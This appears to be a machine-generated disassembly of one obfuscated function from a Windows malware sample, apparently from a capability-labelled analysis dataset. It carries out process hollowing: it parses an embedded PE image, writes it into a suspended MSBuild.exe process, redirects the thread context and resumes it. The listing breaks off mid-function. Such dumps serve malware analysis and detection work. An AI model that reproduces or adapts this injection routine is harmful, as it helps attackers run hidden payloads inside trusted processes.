Function at 0x100024f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x108
mov eax, dword [0x100c5e00]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x100c7138]
mov eax, dword [0x100c7134]
mov edx, ecx
sub edx, 0x458e55f
sub edx, 1
add edx, 0x458e55f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x10a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x109], al
mov dword [ebp - 0x110], 0xfd318702
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x114], eax
sub eax, 0x80f74ce6
je 0x1000508f
jmp 0x1000256b
mov eax, dword [ebp - 0x114]
sub eax, 0x819d1e4a
je 0x10003537
jmp 0x10002581
mov eax, dword [ebp - 0x114]
sub eax, 0x82a8713f
je 0x100051a6
jmp 0x10002597
mov eax, dword [ebp - 0x114]
sub eax, 0x834f2def
je 0x10004029
jmp 0x100025ad
mov eax, dword [ebp - 0x114]
sub eax, 0x87532f91
je 0x10003aac
jmp 0x100025c3
mov eax, dword [ebp - 0x114]
sub eax, 0x8be08a5c
je 0x100046ce
jmp 0x100025d9
mov eax, dword [ebp - 0x114]
sub eax, 0x91053fe0
je 0x10003d81
jmp 0x100025ef
mov eax, dword [ebp - 0x114]
sub eax, 0x91d2e51c
je 0x100039d3
jmp 0x10002605
mov eax, dword [ebp - 0x114]
sub eax, 0x9211feba
je 0x10005104
jmp 0x1000261b
mov eax, dword [ebp - 0x114]
sub eax, 0x984a91e2
je 0x100037d1
jmp 0x10002631
mov eax, dword [ebp - 0x114]
sub eax, 0x9ac5f9c6
je 0x10004260
jmp 0x10002647
mov eax, dword [ebp - 0x114]
sub eax, 0x9bf70a98
je 0x10003c63
jmp 0x1000265d
mov eax, dword [ebp - 0x114]
sub eax, 0x9c14c37c
je 0x100041e8
jmp 0x10002673
mov eax, dword [ebp - 0x114]
sub eax, 0xa56cf416
je 0x100040dc
jmp 0x10002689
mov eax, dword [ebp - 0x114]
sub eax, 0xa6d4efba
je 0x100049fe
jmp 0x1000269f
mov eax, dword [ebp - 0x114]
sub eax, 0xa9b4ddd2
je 0x10004fae
jmp 0x100026b5
mov eax, dword [ebp - 0x114]
sub eax, 0xacde6845
je 0x10004c3e
jmp 0x100026cb
mov eax, dword [ebp - 0x114]
sub eax, 0xad072556
je 0x100038c2
jmp 0x100026e1
mov eax, dword [ebp - 0x114]
sub eax, 0xb14ac7fd
je 0x10003b6c
jmp 0x100026f7
mov eax, dword [ebp - 0x114]
sub eax, 0xb709cde2
je 0x100044ca
jmp 0x1000270d
mov eax, dword [ebp - 0x114]
sub eax, 0xb7e94857
je 0x100052a4
jmp 0x10002723
mov eax, dword [ebp - 0x114]
sub eax, 0xb8e26626
je 0x1000509e
jmp 0x10002739
mov eax, dword [ebp - 0x114]
sub eax, 0xb8ea87f2
je 0x100046b0
jmp 0x1000274f
mov eax, dword [ebp - 0x114]
sub eax, 0xb99d15f9
je 0x10003d72
jmp 0x10002765
mov eax, dword [ebp - 0x114]
sub eax, 0xbcaf323b
je 0x100048da
jmp 0x1000277b
mov eax, dword [ebp - 0x114]
sub eax, 0xbf638451
je 0x10004b2e
jmp 0x10002791
mov eax, dword [ebp - 0x114]
sub eax, 0xc0c4d1df
je 0x100040be
jmp 0x100027a7
mov eax, dword [ebp - 0x114]
sub eax, 0xc0fab1cf
je 0x10003546
jmp 0x100027bd
mov eax, dword [ebp - 0x114]
sub eax, 0xc34d74c0
je 0x10004c2f
jmp 0x100027d3
mov eax, dword [ebp - 0x114]
sub eax, 0xc590100b
je 0x100034f9
jmp 0x100027e9
mov eax, dword [ebp - 0x114]
sub eax, 0xc869fa29
je 0x1000311c
jmp 0x100027ff
mov eax, dword [ebp - 0x114]
sub eax, 0xcb6dee11
je 0x100051bb
jmp 0x10002815
mov eax, dword [ebp - 0x114]
sub eax, 0xcc5e08a1
je 0x100045a6
jmp 0x1000282b
mov eax, dword [ebp - 0x114]
sub eax, 0xcd1621ac
je 0x10003280
jmp 0x10002841
mov eax, dword [ebp - 0x114]
sub eax, 0xce132fe8
je 0x10003684
jmp 0x10002857
mov eax, dword [ebp - 0x114]
sub eax, 0xcf7a2c68
je 0x10004a0d
jmp 0x1000286d
mov eax, dword [ebp - 0x114]
sub eax, 0xcfb3745b
je 0x10004fc6
jmp 0x10002883
mov eax, dword [ebp - 0x114]
sub eax, 0xcfbd2529
je 0x100044bb
jmp 0x10002899
mov eax, dword [ebp - 0x114]
sub eax, 0xd1457a9d
je 0x1000496e
jmp 0x100028af
mov eax, dword [ebp - 0x114]
sub eax, 0xd27a65c1
je 0x10004e18
jmp 0x100028c5
mov eax, dword [ebp - 0x114]
sub eax, 0xd4fe8831
je 0x10003483
jmp 0x100028db
mov eax, dword [ebp - 0x114]
sub eax, 0xdb352dbb
je 0x1000429b
jmp 0x100028f1
mov eax, dword [ebp - 0x114]
sub eax, 0xdcec4106
je 0x1000310d
jmp 0x10002907
mov eax, dword [ebp - 0x114]
sub eax, 0xe240bcec
je 0x10003f03
jmp 0x1000291d
mov eax, dword [ebp - 0x114]
sub eax, 0xe34c4258
je 0x10004a66
jmp 0x10002933
mov eax, dword [ebp - 0x114]
sub eax, 0xe3b6198e
je 0x100042ec
jmp 0x10002949
mov eax, dword [ebp - 0x114]
sub eax, 0xe49e5b5c
je 0x10004e78
jmp 0x1000295f
mov eax, dword [ebp - 0x114]
sub eax, 0xe61d0c03
je 0x1000527a
jmp 0x10002975
mov eax, dword [ebp - 0x114]
sub eax, 0xe61f1a0d
je 0x10004ea8
jmp 0x1000298b
mov eax, dword [ebp - 0x114]
sub eax, 0xe68d8b44
je 0x10003262
jmp 0x100029a1
mov eax, dword [ebp - 0x114]
sub eax, 0xe6b6df3b
je 0x10004ff3
jmp 0x100029b7
mov eax, dword [ebp - 0x114]
sub eax, 0xe9a5a532
je 0x10003200
jmp 0x100029cd
mov eax, dword [ebp - 0x114]
sub eax, 0xeb92068c
je 0x10003380
jmp 0x100029e3
mov eax, dword [ebp - 0x114]
sub eax, 0xec788d7a
je 0x1000463c
jmp 0x100029f9
mov eax, dword [ebp - 0x114]
sub eax, 0xed7f9d85
je 0x10003cef
jmp 0x10002a0f
mov eax, dword [ebp - 0x114]
sub eax, 0xedd04343
je 0x10003735
jmp 0x10002a25
mov eax, dword [ebp - 0x114]
sub eax, 0xf0a3850f
je 0x10003237
jmp 0x10002a3b
mov eax, dword [ebp - 0x114]
sub eax, 0xf2eec920
je 0x100050f1
jmp 0x10002a51
mov eax, dword [ebp - 0x114]
sub eax, 0xf8890e7d
je 0x10004379
jmp 0x10002a67
mov eax, dword [ebp - 0x114]
sub eax, 0xfd318702
je 0x1000302e
jmp 0x10002a7d
mov eax, dword [ebp - 0x114]
sub eax, 0xfe2786f9
je 0x10004e99
jmp 0x10002a93
mov eax, dword [ebp - 0x114]
sub eax, 0x2a7da6
je 0x100050d9
jmp 0x10002aa9
mov eax, dword [ebp - 0x114]
sub eax, 0x1356d60
je 0x10004ef1
jmp 0x10002abf
mov eax, dword [ebp - 0x114]
sub eax, 0x2da6152
je 0x10003bda
jmp 0x10002ad5
mov eax, dword [ebp - 0x114]
sub eax, 0x3e26329
je 0x10003c81
mov bl, byte [ebp - 0x10a]
mov dh, byte [ebp - 0x109]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfe2786f9
mov ecx, 0x1bbcdcb3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dword [ebp - 0x110], 0xc869fa29
jmp 0x100052cc
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xace00
call section..text
add esp, 8
mov eax, dword [ebp - 0x108]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x110], 0xe9a5a532
jmp 0x100052cc
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
movzx edx, word [eax]
mov eax, 0x47689c85
mov ecx, 0xf0a3850f
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x110], 0xe68d8b44
jmp 0x100052cc
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x110], 0xcd1621ac
jmp 0x100052cc
mov ecx, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa0]
sub ecx, 0x18904881
add ecx, eax
add ecx, 0x18904881
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov edx, dword [eax]
mov eax, 0xe49e5b5c
mov ecx, 0x18f227d1
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [ebp - 0x9c]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xf0]
mov byte [eax], cl
mov eax, dword [ebp - 0xec]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x95], al
mov eax, dword [0x100c7138]
mov ecx, dword [0x100c7134]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe61f1a0d
mov ecx, 0x1a5a5bc9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov ecx, dword [0x100c7138]
mov eax, dword [0x100c7134]
mov edx, ecx
sub edx, 0xfd40d966
sub edx, 1
add edx, 0xfd40d966
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6a765581
mov ecx, 0xc590100b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dl, byte [ebp - 0x95]
mov eax, 0x6ad2ecf7
mov ecx, 0xc0fab1cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dword [ebp - 0x110], 0xc0fab1cf
jmp 0x100052cc
mov eax, dword [0x100c7138]
mov ecx, dword [0x100c7134]
mov edx, eax
add edx, 0x6bcf372b
sub edx, 1
sub edx, 0x6bcf372b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1356d60
mov ecx, 0x6c55ca88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov edx, dword [ebp - 0x94]
mov eax, 0x197e0085
mov ecx, 0x35bad52a
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x89], al
mov eax, dword [0x100c7138]
mov ecx, dword [0x100c7134]
mov edx, eax
sub edx, 0xa4bc60ef
sub edx, 1
add edx, 0xa4bc60ef
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x377da873
mov ecx, 0x984a91e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dl, byte [ebp - 0x89]
mov eax, 0xacde6845
mov ecx, 0x201350f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov edx, dword [ebp - 0xe4]
mov eax, 0x31cce83f
mov ecx, 0x2da2cbaa
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [ebp - 0x80]
movzx eax, word [eax + 0x10]
mov ecx, dword [ebp - 0x84]
add ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov ecx, dword [eax]
sub ecx, 0xd4a83e15
add ecx, 0x18
add ecx, 0xd4a83e15
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov dword [eax], 0
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov dword [eax], 0
mov dword [ebp - 0x110], 0x76d16b7f
jmp 0x100052cc
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc8]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0x14]
xor edx, edx
sub edx, esi
sub ecx, edx
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd8]
mov esi, dword [esi]
mov edi, dword [ebp - 0xc8]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0xf8]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x110], 0xb14ac7fd
jmp 0x100052cc
mov ecx, dword [0x100c7138]
mov eax, dword [0x100c7134]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa9b4ddd2
mov ecx, 0x2da6152
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x6c]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0x74]
cmp eax, ecx
setae al
and al, 1
mov byte [ebp - 0x65], al
mov ecx, dword [0x100c7138]
mov eax, dword [0x100c7134]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa9b4ddd2
mov ecx, 0x9bf70a98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dl, byte [ebp - 0x65]
mov eax, 0x44427e1b
mov ecx, 0x3e26329
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x5c], eax
mov eax, dword [0x100c7138]
mov ecx, dword [0x100c7134]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcfb3745b
mov ecx, 0xb99d15f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dword [ebp - 0x110], 0x91053fe0
jmp 0x100052cc
mov eax, dword [0x100c7138]
mov ecx, dword [0x100c7134]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe6b6df3b
mov ecx, 0x5fd07ee3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x54]
add ecx, eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov edx, dword [ebp - 0xd8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc8]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0xc]
xor edx, edx
sub edx, esi
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov ecx, dword [0x100c7138]
mov eax, dword [0x100c7134]
mov edx, ecx
add edx, 0xd06500e8
sub edx, 1
sub edx, 0xd06500e8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7b69224d
mov ecx, 0x173dc2a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
add ecx, 0xf9eef7a0
add ecx, 1
sub ecx, 0xf9eef7a0
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov ecx, dword [0x100c7138]
mov eax, dword [0x100c7134]
mov edx, ecx
add edx, 0x8a585c4b
sub edx, 1
sub edx, 0x8a585c4b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3bb9926f
mov ecx, 0xc0c4d1df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dword [ebp - 0x110], 0x4731596e
jmp 0x100052cc
mov eax, dword [ebp - 0xe0]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x45], al
mov dword [ebp - 0x110], 0x7dfc66c8
jmp 0x100052cc
mov dl, byte [ebp - 0x45]
mov eax, 0x30527d3d
mov ecx, 0x6adb1614
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x110], 0x2d3be65f
jmp 0x100052cc
mov eax, dword [0x100c7138]
mov ecx, dword [0x100c7134]
mov edx, eax
sub edx, 0x1c7d9768
sub edx, 1
add edx, 0x1c7d9768
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb8e26626
mov ecx, 0xe3b6198e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov ecx, dword [0x100c7138]
mov eax, dword [0x100c7134]
mov edx, ecx
sub edx, 0xc5d33769
sub edx, 1
add edx, 0xc5d33769
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb8e26626
mov ecx, 0xf8890e7d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dword [ebp - 0x110], 0x13c08265
jmp 0x100052cc
mov dword [ebp - 0x110], 0xb709cde2
jmp 0x100052cc
mov ecx, dword [0x100c7138]
mov eax, dword [0x100c7134]
mov edx, ecx
add edx, 0x2935df9d
sub edx, 1
sub edx, 0x2935df9d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2a7da6
mov ecx, 0x7052e7ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dl, byte [ebp - 0x31]
mov eax, 0xec595aa
mov ecx, 0xc71842e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov ax, word [ebp - 0x30]
movzx ecx, ax
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x2d], al
mov eax, dword [0x100c7138]
mov ecx, dword [0x100c7134]
mov edx, eax
add edx, 0x6c8198e6
sub edx, 1
sub edx, 0x6c8198e6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf2eec920
mov ecx, 0xb8ea87f2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dl, byte [ebp - 0x2d]
mov eax, 0x40147717
mov ecx, 0x8be08a5c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x110], 0x405f7a95
jmp 0x100052cc
mov dword [ebp - 0x110], 0x40147717
jmp 0x100052cc
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x18], eax
mov ecx, dword [0x100c7138]
mov eax, dword [0x100c7134]
mov edx, ecx
sub edx, 0x5d02e144
sub edx, 1
add edx, 0x5d02e144
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x82a8713f
mov ecx, 0xa6d4efba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dword [ebp - 0x110], 0xcf7a2c68
jmp 0x100052cc
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov dword [ebp - 0x110], 0x5cf112be
jmp 0x100052cc
mov dword [ebp - 0x110], 0x30527d3d
jmp 0x100052cc
mov eax, dword [ebp - 0xe8]
mov ecx, dword [eax]
add ecx, 0x1ce8a410
add ecx, 8
sub ecx, 0x1ce8a410
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe4]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
sub ecx, 0x367208b1
add ecx, eax
add ecx, 0x367208b1
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x100c7138]
mov ecx, dword [0x100c7134]
mov edx, eax
add edx, 0xe1d42728
sub edx, 1
sub edx, 0xe1d42728
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcb6dee11
mov ecx, 0xc34d74c0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x110], eax
jmp 0x100052cc
mov dword [ebp - 0x110], 0xacde6845
jmp 0x100052cc
mov eax, dword [0x100c7138]
mov ecx, dword [0x100c7134]
mov edx, eax
add edx, 0x601188ef
sub edx, 1
sub edx, 0x601188ef
imul eax, edx
and eax, 1
